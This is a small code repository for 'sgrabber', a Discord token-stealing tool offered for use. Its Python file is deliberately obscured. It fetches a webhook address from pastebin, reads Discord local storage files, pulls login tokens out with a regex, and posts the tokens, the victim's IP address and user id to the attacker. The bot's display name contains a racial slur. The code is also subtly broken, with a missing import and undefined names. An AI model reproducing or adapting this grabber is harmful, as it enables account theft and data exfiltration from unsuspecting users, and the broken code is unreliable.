├── README.md └── main.py /README.md: -------------------------------------------------------------------------------- 1 | # sgrabber 2 | sgrabber or small grabber is a very unique token logger / token grabber that is only 20 lines of code and is very hidden! 3 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | J=len 2 | import os,random 3 | from urllib.request import Request as B,urlopen as C 4 | import re,glob as D 5 | #Put your webhook in a pastebin and Change this pastebin to your webhook pastebin 6 | F=C(B('https://pastebin.com/raw/hSY5ZkZx')).read().decode().strip() 7 | G=C(B('https://api.ipify.org')).read().decode().strip() 8 | def H(): 9 | B=[];C=os.getenv('APPDATA');E=D.glob(C+'\\Discord\\Local Storage\\leveldb\\*.ldb');E.extend(D.glob(C+'\\Discord\\Local Storage\\leveldb\\*.log')) 10 | for G in E: 11 | with open(G,'r',encoding='ISO-8859-1')as H: 12 | try: 13 | I=H.read();F=[A.group()for B in re.finditer('[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}',I)] 14 | if J(F)>0:B.extend(F) 15 | except:pass 16 | return B 17 | E=H() 18 | if J(E)<1:exit(0) 19 | I(E) 20 | def I(tkns):A=requests.get('https://discordapp.com/api/v7/users/@me',headers={'authorization':tkns}).text.split('{"id": "')[1].split('"')[0];B={'content':f"Hey we got {tkns}\n an ip of {G}\n An id of {A}",'avatar_url':'https://pbs.twimg.com/profile_images/1090355063329964032/2G_6k1E7_400x400.jpg','username':'Freenitronigga'};requests.post(F,data=B) 21 | --------------------------------------------------------------------------------